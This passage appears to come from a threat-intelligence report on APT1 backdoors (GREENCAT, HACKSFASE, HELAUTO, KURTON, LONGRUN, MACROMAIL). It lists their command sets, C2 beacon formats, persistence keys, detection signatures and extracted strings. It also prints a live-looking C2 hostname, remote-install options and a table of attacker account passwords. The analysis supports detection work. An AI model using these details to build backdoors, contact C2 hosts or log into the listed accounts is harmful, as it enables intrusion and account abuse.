    - `Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0; <ENCODED_HOSTNAME>; MNA)`
        - Note: MNA is decoded from the malware resource section and is subject to change.
    - `Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0;)`
- Samples have also been observed alternatively using the following user agent:
    - `Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 8.0)`

Unique Strings

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#
Kernel32.dll
.exe
wininet
Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 8.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; %s.%s)
dlserver
-startsvc
  CreateService failed with error %d.
  OpenService failed with error %d.
"%s" -startsvc
  OpenSCManager failed with error %d.
-install
svehost.exe
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#=
thequickbrownfxjmpsvalzydg
8GovdJlDSmeIeAFFWBf=cyaveoVRN2=KG4VXN=FfDL5rbI1vWOjVJIn6p
5Uqp
```

GREENCAT – Malware Profile

GREENCAT is a backdoor with the following functionality:

Function	Command	Description

Gather system information	`basicinfo`	Executes the following commands in the cmd.exe child process and returns the result:
		`ipconfig /all`
		`systeminfo`
		`net start`
		`net localgroup administrators`
		`tasklist /v`

File download	`getf <filename>`	Download a file specified by filename.
Download file [from specified URL]	`geturl <url> <filename>`	Downloads the file at `<url>` and saves it as `<filename>`.
Kill processes	`kill </p|/s> <pid|service>`	Kill a process (/p) by specifying the pid or terminate a service (/s) by specifying the service name.
Gather system information	`list </p|/s|/d>`	Lists either processes (/p), services (/s) or drives (/d).
Create processes	`pidrun <pid> <filename>`	Executes the `<filename>` with the permissions of the process specified as `<pid>`.
File upload	`putf <filename>`	Upload a file specified by filename.
Exit	`quit`	Terminates the process.
Interactive command shell	`shell`	Starts a cmd.exe child process.
Create processes	`start </p|/s> <pid|service>`	Start a process (/p) by specifying the filename or start a service (/s) by specifying the service name.
Enumerate users	`whoami`	Gets the currently logged in user, the malware is executing as.

Table 16: GREENCAT functionality

GREENCAT communicates using SSL. Within the SSL tunnel the initial GET request has the format depicted in Figure 11.

```
GET /<HOSTNAME>/ HTTP/1.1
Accept: */*
Pragma: no-cache
Cache-Control: max-age=0
Cache-Control: no-cache
Connection: Keep-Alive
Computer: <HOSTNAME>
User-Agent: Mozilla/4.0
Host: flash.aunewsonline.com
Content-Length: <ContentLength>


<HOSTNAME> Connected!
```

Figure 11: Initial GREENCAT GET request

If the malware receives a response with the string "`<h1>Bad Request (Invalid Hostname)</h1>`" the malware exits immediately. If the connection is accepted, the malware uses the commands shown in Table 16. The commands and arguments are sent in the body of the HTTP response packet. The malware attempts to connect to the server five times, waiting 60-seconds between tries. If all five attempts fail the malware sleeps for 120-minutes before trying again.

Persistence Mechanism

- The malware sets the following value to the path of the GREENCAT DLL:
  - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service_name>\Parameters\ServiceDll`
- The malware creates the following value to the path of the original ServiceDLL value:
  - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service_name>\Parameters\DllPath`
- The malware sets
  - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service_name>\Start`
    - Value: 2 (SERVICE_AUTO_START)

Host-Based Signatures

- The malware may write BMP files to a directory on the system identified as *<number>*`.bmp`, such as `1.bmp` or `17.bmp`.

Network-Based Signatures

- The malware has been observed with the following User-Agent strings:
  - `Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)`
  - `Mozilla/5.0`
  - `Mozilla/4.0`
- Reference Appendix F for known APT1-generated certificates used in conjunction with this malware.

Unique Strings

```
symname(
%s.dll
.com
.bat
.cmd
.exe
./\
SeShutdownPrivilege
SeSecurityPrivilege
kernel32.dll
----client system info----
get computer name error!
computer name:
get user name error!
user:
 I386
 I486
 I586
 MIPSR4000
 UNKNOWN
can't get ver info!
Win32s on Windows 3.1
Win32 on Windows 95
Windows NT
Windows?
version: %s v%d.%d build %d%s
No Ca Reader!
No Ca Incert!
Ca Incert!
machine type: maybe pc.
machine type: maybe Laptop!
System Power on time: %f hours.
```

```
systen mem: %dM  used: %d%%  PageFile: %dM free: %dM
%c:\
Unable to determine.
Removable
find %c:\ %dM/%dM
Remote
CD-ROM
Ramdisk
Unknown type!
bad allocation
Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE
McUpdate
cmd.exe
host
isok
exit
exit
bdkzt
cmd success!
create pipe error!
start cmd error!
exe
NULL
Logon user err!
execute error!
zxdosml
bind cmd frist!
WritePip Error!
download
upload
DownloadEnd
Download file ok!
cmdok
Upload datasize
Create localfile error!
Recentfile datasize
stfile
lists
ckzjqk
ljc
jcsize%6d!#
ljcok
sjc
process-cmd-stopped
CS thread still active!
cmdsize%6d!#
FileThread error!
fileupload
Upload file ok!
create remote file error!
Download datasize %I64dbytes!
Reading remote file error!
%s\%d.bmp
NTDLL
NtQuerySystemInformation
RtlCompareUnicodeString
term
  HostName:
   Platform:  %4d   Version:  %d.%d
    Type:
 (PDC)
 (BDC)
 (SQL)
 (TRM)
 (NOV)
 (MFP)
 (PRI)
More entries available!!!
Total entries: %d
Entries enumerated: %d
A system error has occurred: %d
List domain server ok!
==================   Current Process   ==================
 %-8ld%-22s
%-16s\%s
%-16s
%d processes enumerated
ntdll.dll
SeDebugPrivilege
Can not stop-%d-!
Client process-%d-stoped!
AC_XSI_UtilGetCardStatus
AC_XSI_UtilGetReaderList
gscBsiUtilGetVersion
\acbsiprov.dll
```

HACKSFASE – Malware Profile

The HACKSFASE backdoor is installed as a Windows service and is hard-coded to communicate with a designated command and control server. The address of the command and control server is encrypted and stored at the end of the binary.

HACKSFASE is a packed service DLL. After unpacking itself it decrypts its configuration data stored within the DLL. The configuration data is encrypted with a modified 3DES algorithm. The data is found by searching for the byte sequence "\x1b\x34\x5e\x2d" and is typically found at the end of the file. The configuration has the format found in Table 17.

Offset	Length	Description
0	4	Magic Value \x1b\x34\x5e\x2d
4	16	3DES Key
20	4	Configuration Length
24	Varies	Encrypted Configuration

Table 17: Encrypted Configuration Structure

The malware attempts to resolve the domain name derived from its configuration data. If this resolves to a pre-configured IP address stored in its configuration data the backdoor will sleep for a random interval of time before attempting to resolve again. If the host name resolves to an IP address other than what is specified in the configuration data, it will attempt to connect to that host over the specified port value taken from the configuration data, which in all observed samples was TCP port 443.

The malware uses a custom binary protocol when communicating with the C2 server. This is encrypted with the SSL implementation provided by the OS. The initial outbound payload of data contains the string "!@#%$^#@!", and the hostname and IP address of the compromised host, presumably to identify itself to the malware server, all sent SSL encrypted. A decrypted beacon packet is shown in Figure 12.

```
00000000:  11 00 00 00 00 00 00 00  21 40 23 25 24 5e 23 40 ........ !@#%$^#@
00000010:  21                                               !
00000011:  ac 00 00 00 08 00 00 00  01 00 00 00 54 65 73 74 ........ ....Test
00000021:  4d 61 63 68 69 6e 65 00  00 00 00 00 00 00 00 00 Machine. ........
00000031:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000041:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000051:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000061:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000071:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000081:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000091:  00 00 00 00 00 00 00 00  00 00 00 00 31 39 32 2e ........ ....192.
000000A1:  31 36 38 2e 32 30 30 2e  35 00 00 00 00 00 00 00 168.200. 5.......
000000B1:  00 00 00 00 00 00 00 00  00 00 00 00             ........ ....
```

Figure 12: Decrypted Data Sent to C2 Server After Establishing SSL Session

While connected, HACKSFASE waits for commands to be issued by the command and control server. The core functionality of the backdoor is activated using the following commands:

Function	Command	Description
Interactive command shell	0x1	Create reverse shell

Read files	0x2/0x3	Open/read file data
Create/modify files	0x4	Write to file
Close connection	0x5	Disconnect SSL connection
Interactive command shell	0xA	Command for reverse shell
List processes	0xC	Get process listing
Kill processes	0xD	Kill process by PID or Name
Create processes	0xE	Create process (supports creating as specific user)

Table 18: HACKSFASE functionality

HACKSFASE employs a dropper executable that installs and configures the HACKSFASE DLL. The malware is provided configuration data from the user. The configuration data is encrypted and placed inside a DLL that is extracted from within the install executable itself. This DLL is then installed locally or remotely based on how the user specified on the command line.

There are many command line options for this program. A summary of these options is displayed in Table 19. The majority are used for configuring the backdoor service DLL.

The malware will automatically connect to the local machine, unless the `-r` option is specified. This option will tell the installer to connect to a remote host with the name specified. The options for username and password can also be provided. By default the username `ADMIN` will be attempted. The `–f` option overrides all install command line options and lists all of the svchost `netsvcs` services that are on the system. This exists so that the attacker does not accidently overwrite another service already on the system.

All other command line options are used for configuring the backdoor service DLL. The majority of the options are for naming things, like the DLL itself, service, service description, service name displayed, etc. The other options are for configuring the DLL backdoor hostnames, ports, and IP compares.

Command	**Description**
`-n <dllname>`	Name of the installed DLL
`-s <service>`	Name of the service installed
`-d <domain>`	Domain name
`-d1 <hostname>`	First hostname to resolve
`-d2 <hostname>`	Second hostname to resolve
`-c1 <IP>`	First compare IP
`-c2 <IP>`	Second compare IP
`-des <text>`	Service description
`-dis <name>`	Service name displayed
`-p <port>`	Port number
`-f`	List installed services - Overrides all other options
Remote install	
`-r <remote machine>`	Remote machine name
`-p <password>`	Password
`-u <username>`	Username (optional, ADMIN will be tried)

Table 19: HACKSFASE Installer Commands

Persistence Mechanism

- The malware is registered as a service DLL, and is added to the following registry key for persistence:
    - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>\Parameters\ServiceDll`

Host-Based Signatures

- The malware is a service DLL that has a DLL export name of `SvcDll.dll` and contains a single export function named `ServiceMain`.

- The installer component may be identified by the following unique sequence of bytes present in the malware (contained towards the end of the file):
    - o `\xcb\x39\x82\x49\x42\xbe\x1f\x3a`

Network-Based Signatures

- Reference Appendix F for known APT1 generated certificates used in conjunction with this malware.

Unique Strings - DLL

```
!@#%$^#@!
%s %s
ComSpec
%s failed, error code is %d
succeed.
Killing process %d
Killing process %s
Cann't create remote process! ErrorCode:%d
Login failed for user! ErrorCode:%d
Cann't create process! ErrorCode:%d
InitializeSecurityContext Failed. Error:
Send to Server failed.
HandShake with the server failed. Error:
Out of memory
Microsoft Unified Security Protocol Provider
1.3.6.1.5.5.7.3.2
Getting Maximum SSL chunk size failed. Error:
Failed to InitializeSecurityContext while shutting down.
Disconnect failed. Error:
Send failed. Error:
EncryptMessage failed. Error:
Decryption Failed. Context Expired.
Decryption Failed. Error:
Out of memory!
Out of memory.
Failed to load security dll.
Failed to Acquire Credentials. Error:
InitSecurityInterfaceA
Secur32.dll
Security.dll
2.16.840.1.113730.4.1
1.3.6.1.4.1.311.10.3.3
1.3.6.1.5.5.7.3.1
%s: %d
The last Error Code is
%s\%s
-%d   %-24s
```

Unique Strings - Installer

```
443
Cann't release file. %d
DLL
Install Failed!
ServiceDll:
ServiceDll
SYSTEM\CurrentControlSet\Services\%s\Parameters
```

```
ProcessID:
SERVICE_STOPPED
SERVICE_STOP_PENDING
SERVICE_START_PENDING
SERVICE_RUNNING
SERVICE_PAUSED
Current State:
SERVICE_PAUSE_PENDING
SERVICE_CONTINUE_PENDING
SERVICE_WIN32_SHARE_PROCESS
SERVICE_INTERACTIVE_PROCESS
SERVICE_WIN32_OWN_PROCESS
SERVICE_KERNEL_DRIVER
Service Type:
SERVICE_FILE_SYSTEM_DRIVER
ServiceDisplayName:
ServiceStartName:
BinaryPathName:
SERVICE_SYSTEM_START
SERVICE_DISABLED
SERVICE_DEMAND_START
SERVICE_BOOT_START
Start Type:
SERVICE_AUTO_START
Service name:
netsvcs
Cann't open remote register.
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
ErrorCode   : %d
ErrorMessage: %s
(u@
.PAX
(u@
.PAD
QueryServiceStatus()
StartService
Parameters
SYSTEM\CurrentControlSet\Services\
OpenSCManager()
Can't find any svchost services.
%SystemRoot%\System32\svchost.exe -k netsvcs
svchost.exe
%s\admin$\system32\
Port Number is wrong.
The Service describe is wrong.
-des
The Service display is wrong.
-dis
You must input dll name.
You must input services name.
-c2
you must choose at least one compare IP address.
-c1
The second dns name input wrong.
-d2
You must choose at least one dns name.
-d1
User name or Password input wrong.
Domain Name input wrong.
The Remote Machine input wrong.
tthacksfas@#$
ERROR! Cannot connect to %s\IPC$.
%s\ADMIN$
```

```
ERROR! Cannot cancel connect to %s\IPC$.
%s\IPC$
system32\
Get to share %s local path failed: error %d
Get share %s unicode form failed: error %d
ADMIN$
%s: %d
The last Error Code is
r+b
```

HELAUTO – Malware Profile

HELAUTO is an HTTPS-based backdoor that communicates over TCP port 443. All communication with the remote host is encrypted using SSL. The first connection the malware makes to the remote host is used as a beacon in order to notify that the victim host is ready to accept a command. It sends the request `"Hello.I am here!"`. The server responds with a Web page containing a command embedded within the <head> tag of its HTML code. The malware accepts the following list of commands contained within this response from the server:

Function	Command	Description
	`type`	Returns string "`Type command disable.Go on!`"
Create processes	`begin <arg>`	executes c:\Windows\tasks\`<arg>`
File download	`getf <speed> <filepath>`	Download file from system
File upload	`putf <speed> <filepath>`	Upload file to system
Exit	`exit`	Returns string "bye" and exists process

Table 20: HELAUTO functionality

Persistence Mechanism

- When HELAUTO's `InstallService` or `InstallA` export functions are called, the malware sets the `RasAuto` Windows Service configuration to the following (even if the binary is not named `rasauto32.dll`):
    - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Parameters\ServiceDLL`
        - Value: `%SYSTEMROOT%\System32\rasauto32.dll`

Host-Based Signatures

- The malware contains the unique string `svchostdll.dll`
- The malware uses the WinInet API to connect to the remote Command and Control server. Usage of this API causes requests to be logged in the browser history files (index.dat).
- The malware will attempt to execute `C:\WINDOWS\system32\Com\wscntfy.exe` which is a custom command shell executable.

Network-Based Signatures

- Sends a CONNECT followed by the string:
    - `Hello.I am here`
- Reference Appendix F for known APT1-generated certificates used in conjunction with this malware.

Unique Strings

```
svchostdll.dll
ServiceMain
Begin Download
D-o-w-n-l-o-a-d-f-i-l-e%s******%d@@@@@@%d
Could not open file for reading
Begin Upload
U-p-l-o-a-d-f-i-l-e%s******%d
</head>
<head>
exit
exit
CONTINUE
Go on!
putf
```

```
Error! putf [transpeed] [filepath]
%*s %d %s
getf
\tasks\
cmd /c
begin
Type command disable.Go on!
type
>>>>>>%s
cmd.exe
\Com\wscntfy.exe
Hello.I am here!
CONNECT
HTTP/1.0
cmd /c net stop RasAuto
```

KURTON – Malware Profile

KURTON is a backdoor that tunnels its connection through a pre-configured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to `IPRIP` if no service name is provided during install. Commands available for the malware are shown in Table 21.

Function	Command	Description
Interactive command shell	`HttpsCommand`	Execute command on local system.
Gather system information	`HttpsConnect`	Initialize HTTP connection and send local system information.
File download	`HttpsDown`	Download file to local system.
Create/modify files	`HttpsFile`	Process command for file operations: • 0: Drop temp file • 1: Remove file • 2: Get free space on root partition • 3: Download file • 4: Upload file
File upload	`HttpsUp`	Upload file to remote system.

Table 21: KURTON functionality

The malware can be instructed to download a file. This happens when the command is a URL. This file will be obtained with an HTTP GET request. The HTTP User Agent used to get this page is consistently `Mozilla/4.0 (compatible; MSIE 7.0;)`. All files are downloaded to the temporary directory.

The malware will shut down upon receiving the exit command or if it is unsuccessful at setting up the reverse shell.

Persistence Mechanism

- The malware installs itself as a Windows service with a name provided by the attacker. If no name is provided, the default name `IPRIP` is used.

Host-Based Signatures

- The malware creates a key named `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectT\dwHighDateTime`.
- The malware creates a key named `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectT\dwLowDateTime`.
- The malware installs itself to the `%SYSTEMROOT%\System32` folder.
- The malware logs debug data to the file `%SYSTEMROOT%\System32\SvcHost.DLL.log`.

Network-Based Signatures

- The malware uses the User-Agent string `Mozilla/4.0 (compatible; MSIE8.0; Windows NT 5.1)`.
  - The malware communicates with a User-Agent string that appears to be for MSIE 8.0; but the string is not an official UA string for IE8.

Unique Strings

```
<program name unknown>
InstallService
RundllInstallA
```

```
RundllUninstallA
UninstallService
0.1 beta
root\%s
MyTmpFile.Dat
0.1 beta
!(*@)(!@PORT!(*@)(!@URL
!(*@)(!@DESC
dwHighDateTime
dwLowDateTime
SOFTWARE\Microsoft\DirectT
HttpsUp||
HttpsDown||
HttpsConnect||
HttpsCommand||
HttpsFile||
SvcHostDLL: ServiceMain done
SvcHostDLL: RegisterServiceCtrlHandler %S failed
SvcHostDLL: ServiceMain(%d, %s) called
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP
Config service %s ok.
RegSetValueEx(ServiceDll)
ServiceDll
GetModuleFileName() get dll path
RegCreateKey(Parameters)
RegOpenKeyEx(%s) KEY_SET_VALUE error %d.
SYSTEM\CurrentControlSet\Services\
CreateService(%s) SUCCESS. Config it
CreateService(%s) error %d
OpenSCManager()
you specify service name not in Svchost\netsvcs, must be one of following:
RegQueryValueEx(Svchost\netsvcs)
RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Exception Catched 0x%X
DeleteService(%s) SUCCESS.
OpenService(%s) error %d
OpenSCManager() error %d
%s %s - %s
SvcHost.DLL.log
(null)
Mozilla/4.0 (compatible; MSIE8.0; Windows NT 5.1)
```

LONGRUN – MALWARE PROFILE

When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string `thequickbrownfxjmpsvalzydg` is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The malware understands the following commands shown in Table 22. All other commands are sent to the `cmd.exe` child process to execute. Results are sent back to the server, obfuscated using the existing connection.

Function	Command	Description
File upload	`gf`	Send the specified local file to the server encoded, using the existing connection.
File download	`pf`	Receive a file over the existing connection, writing it to the specified local filename.
Establish connection	`http`	Prepare to make an HTTP connection, but doesn't actually do anything.
Sleep	`wait`	Shutdown the `cmd.exe` process and sleep.
Exit	`exit`	Shutdown the `cmd.exe` process and exit.

Table 22: LONGRUN functionality

The `http` command is odd in that the malware does not actually make an HTTP connection. It prepares to connect using the HTTP user-agent string in Figure 13 , but never does, using its own proprietary communications instead.

```
Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0)
```

Figure 13: LONGRUN User Agent

Network-Based Signatures

- The malware is configured to use the following HTTP User-Agent, although in the samples analyzed, the HTTP command was not functional:
  - `Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0)`

Unique Strings

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
active
CreatePipe
Kernel32.dll
%s\%c%c%c%c%c%c%c
exit
wait:
exit
  xxxxx: %d
  !!!!!
http:
xxxxx
!!!!!
InternetOpenA
Wininet
Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0)
Open
 > nul
/c del
```

```
COMSPEC
thequickbrownfxjmpsvalzydg
`1234567890-
=~!@#$^&*()_+qwertyuiop[]QWERTYUIOP|asdfghjkl;'ASDFGHJKL:zxcvbnm,./ZXCVBNM<>?
Dcryption Error! Invalid Character '%c'.
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
thequickbrownfxjmpsvalzydg
['@oR*vF,#Ephkn;
```

MACROMAIL – MALWARE PROFILE

MACROMAIL poses as an MSN Messenger client. The malware acts like a normal chat client and communicates with genuine Microsoft servers. MACROMAIL uses pre-configured account credentials, routing all C2 and interactive traffic though the legitimate MSN Messenger service. In all observed instances, MACROMAIL has used legitimate Microsoft webmail accounts (Live and Hotmail) for authentication to MSN Messenger. The attacker has likely already added this "contact", so they will recognize when they are logged in and ready to "chat".

Account Name	Password
`d0ta016@hotmail.com`	`2j3c1k`
`aspjk07@hotmail.com`	`!Q@W#E$R`
`pandaren123@hotmail.com`	`2j3c1k`
`qiao.17@live.cn`	`6444299`
`qiao.22@live.cn`	`748596`
`dream45307@hotmail.com`	`asd#321`
`qumike_ktov@hotmail.com`	`sdf123`
`jennifer_mink@hotmail.com`	`dfgh2345`

Table 23: Observed MACROMAIL Credentials

The malware is commanded and controlled by a custom client on the attacker's end. It is controlled via encrypted chat messages sent in a normal MSN Messenger chat session. The client at the attacker's base is likely performing the encryption and decryption on behalf of the user. The commands that are available to an attacker are listed in Table 24.

Function	Command	Description
Exit	`Exit`	Exits the session.
File download	`Put`	Puts a file on the system.
File upload	`get`	Gets a file off of the system.
Interactive command shell	`shell <password>`	Checks the password and if valid sets up a reverse shell via copying `cmd.exe` to `svchost.exe` (or `ctfmon.exe` in the temp directory and running it.
Sleep	`sleep`	Tell the program to sleep for certain amount of time

Table 24: MACROMAIL functionality

Persistence Mechanism

- The malware installs itself as a persistence service under the following Registry key:
  - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service_name>`

Host-Based Signatures

- The malware can copy `cmd.exe` to `svchost.exe` in the default temp directory on the system to run as a child process and provide an interactive command shell. This file is scanned for the string "`Microsoft Corp.`" and replaces it with "`Macrosoft Corp.`".

Network-Based Signatures

- This malware was created to communicate with the Windows MSN Messenger infrastructure:
  - `gateway.messenger.hotmail.com`
  - `login.live.com`

Unique Strings

```
svcMsn.dll
```

```
RundllInstall
RundllUninstall
ServiceInstall
ServiceMain
UnServiceInstall
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
&#38;
amp;
&#39;
apos;
&#34;
quot;
&#62;
&#60;
[error near line %d]: %s
unexpected closing tag </%s>
 ='"
standalone
unclosed <!ATTLIST
circular entity declaration &%s
<!--
malformed <!ATTLIST
#FIXED
NOTATION
CDATA
<!ATTLIST
<!ENTITY
unclosed tag <%s>
missing %c
markup outside of root element
unexpected <
unclosed <?
unclosed <!DOCTYPE
unclosed <![CDATA[
unclosed <!--
missing >
 =/>
!DOCTYPE
![CDATA[
root tag missing
%02x
WS-SecureConversationSESSION KEY ENCRYPTION
WS-SecureConversationSESSION KEY HASH
<?xml version="1.0" encoding="UTF-8"?><Envelope
xmlns="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsse="http://schemas.xmlsoap.org/ws/2003/06/secext"
xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"
xmlns:wsp="http://schemas.xmlsoap.org/ws/2002/12/policy" xmlns:wsu="http://docs.oasis-
open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/03/addressing"
xmlns:wssc="http://schemas.xmlsoap.org/ws/2004/04/sc"
xmlns:wst="http://schemas.xmlsoap.org/ws/2004/04/trust"><Header><ps:AuthInfo
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL"
Id="PPAuthInfo"><ps:HostingApp>{7108E71A-9926-4FCB-BCC9-
9A9D3F32E423}</ps:HostingApp><ps:BinaryVersion>3</ps:BinaryVersion><ps:UIVersion>1</ps
:UIVersion><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:Req
uestParams></ps:AuthInfo><wsse:Security><wsse:UsernameToken
Id="user"><wsse:Username>%s</wsse:Username><wsse:Password>%s</wsse:Password></wsse:Use
rnameToken></wsse:Security></Header><Body><ps:RequestMultipleSecurityTokens
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL"
Id="RSTS"><wst:RequestSecurityToken
Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue<
/wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>http://Passport.NE
```

```
T/tb</wsa:Address></wsa:EndpointReference></wsp:AppliesTo></wst:RequestSecurityToken><
wst:RequestSecurityToken
Id="RST1"><wst:RequestType>http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue<
/wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>messengerclear.liv
e.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsse:PolicyReference
URI="%s"></wsse:PolicyReference></wst:RequestSecurityToken><wst:RequestSecurityToken
Id="RST2"><wst:RequestType>http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue<
/wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>contacts.msn.com</
wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsse:PolicyReference
URI="MBI"></wsse:PolicyReference></wst:RequestSecurityToken></ps:RequestMultipleSecuri
tyTokens></Body></Envelope>
<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><soap:Header><ABApplicationH
eader xmlns="http://www.msn.com/webservices/AddressBook"><ApplicationId>996CDE1E-AA53-
4477-B943-
2BE802EA6166</ApplicationId><IsMigration>false</IsMigration><PartnerScenario>Initial</
PartnerScenario></ABApplicationHeader><ABAuthHeader
xmlns="http://www.msn.com/webservices/AddressBook"><ManagedGroupRequest>false</Managed
GroupRequest><TicketToken>t=%s&amp;p=%s</TicketToken></ABAuthHeader></soap:Header><soa
p:Body><FindMembership
xmlns="http://www.msn.com/webservices/AddressBook"><serviceFilter><Types><ServiceType>
Messenger</ServiceType><ServiceType>Invitation</ServiceType><ServiceType>SocialNetwork
</ServiceType><ServiceType>Space</ServiceType><ServiceType>Profile</ServiceType></Type
s></serviceFilter></FindMembership></soap:Body></soap:Envelope>
<?xml version="1.0" encoding="utf-8" ?> <soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><soap:Header><ABApplicationH
eader xmlns="http://www.msn.com/webservices/AddressBook"><ApplicationId>996CDE1E-AA53-
4477-B943-2BE802EA6166</ApplicationId> <IsMigration>false</IsMigration>
<PartnerScenario>Initial</PartnerScenario> </ABApplicationHeader><ABAuthHeader
xmlns="http://www.msn.com/webservices/AddressBook"><ManagedGroupRequest>false</Managed
GroupRequest> <TicketToken>t=%s&amp;p=%s</TicketToken>
</ABAuthHeader></soap:Header><soap:Body><ABFindAll
xmlns="http://www.msn.com/webservices/AddressBook"><abId>00000000-0000-0000-0000-
000000000000</abId> <abView>Full</abView> </ABFindAll></soap:Body></soap:Envelope>
<d n="%s">%s</d>
<c n="%s" l="%d" t="1"/>
<ml l="1">%s</ml>
<msnobj Creator="%s" Type="3" SHA1D="cmJCJjUVJ+x1g5BUj5TlTOAoFIo=" Size="18476"
Location="0" Friendly="0W5/ZwAA"/>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-MMS-IM-Format: FN=Courier%%20New; EF=; CO=400040; CS=86; PF=31
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: %s
MSG %d N %d
VER %d MSNP15 MSNP14 MSNP13 CVR0
ANS %d %s %s %s
qiao.22@live.cn
%s %s
wst:RequestedProofToken
wst:BinarySecret
wst:RequestedSecurityToken
wsse:BinarySecurityToken
S:Body
wst:RequestSecurityTokenResponseCollection
wst:RequestSecurityTokenResponse
```

```
https://login.live.com/RST.srf
POST
HTTP/1.1
MSMSGS
http://
https://
Unkown command: %s.
USR %d SSO S %s
CVR %d 0x0409 winnt 5.1 i386 MSNMSGR 8.5.1288.816 msmsgs %s
USR 3 SSO I %s
MSNP15
QRY %d %s 32
PROD0119GSJUC$18
UUX %d 80
<Data><PSM></PSM><CurrentMedia></CurrentMedia><MachineGuid></MachineGuid></Data>
CHG %d NLN %d %s
ADL %d %d
%sPRP %d MFN %s
</ml>
</d>
<d n="%s">
<ml l="1">
BLP %d BL
get ok %d
put ok
asd#321
shell
sleep
text/plain;
Content-Type:
exit
locations
ContactLocation
country
displayName
contactInfo
passportName
ABFindAllResponse
ABFindAllResult
contacts
Contact
http://contacts.msn.com/abservice/abservice.asmx
PassportName
Members
Member
Reverse
Block
Allow
MemberRole
Service
Memberships
Membership
soap:Body
FindMembershipResponse
FindMembershipResult
Services
http://contacts.msn.com/abservice/SharingService.asmx
Accept: text/*
SOAPAction: http://www.msn.com/webservices/AddressBook/ABFindAll
Content-Type: text/xml; charset=utf-8
Accept: text/*
SOAPAction: http://www.msn.com/webservices/AddressBook/FindMembership
Content-Type: text/xml; charset=utf-8
```

```
%s%s00000000
ILTXC!4IXB5FB*PX
svchost.exe
\cmd.exe
Provides access to file and print resources on Netware networks.
Gateway Service for Netware
SvcHostDLL: ServiceMain done
Svchost.exe
SvcHostDLL: RegisterServiceCtrlHandler %S failed
SvcHostDLL: ServiceMain(%d, %s) called
